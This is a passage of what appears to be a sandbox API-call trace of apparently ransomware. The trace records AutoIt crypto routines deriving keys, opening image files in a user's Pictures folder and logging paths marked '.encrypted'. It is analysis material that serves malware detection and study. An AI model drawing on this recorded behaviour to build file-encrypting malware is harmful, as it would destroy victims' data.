lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.496] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.497] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.497] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.497] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9200) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.498] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x23f0, lpOverlapped=0x0) returned 1 [0028.498] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x23f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.498] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9200) returned 1 [0028.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.encrypted.jpg\r\n", cchWideChar=85, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 85 [0028.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.encrypted.jpg\r\n", cchWideChar=85, lpMultiByteStr=0xe8f406a1f0, cbMultiByte=85, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RjsoLWMv.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 85 [0028.498] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40624f0*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40624f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x54, lpOverlapped=0x0) returned 1 [0028.498] CloseHandle (hObject=0x188) returned 1 [0028.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.499] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.499] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.499] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.500] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.500] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.501] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.501] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0028.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png", cchWideChar=78, lpMultiByteStr=0xe8f406a310, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png", lpUsedDefaultChar=0x0) returned 78 [0028.501] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\rzezonwn812vn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0028.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=78, lpWideCharStr=0xe8f416dee0, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\RZEzoNWn812VN.png") returned 78 [0028.502] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.502] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.502] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.502] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.503] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.503] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.503] CloseHandle (hObject=0x188) returned 1 [0028.503] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.503] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.503] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.503] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.503] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.503] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.503] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.503] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.504] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.504] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.504] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.504] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.504] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.505] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.505] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.505] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.506] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.506] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.506] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.506] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.506] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.506] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.506] CharUpperBuffW (in: 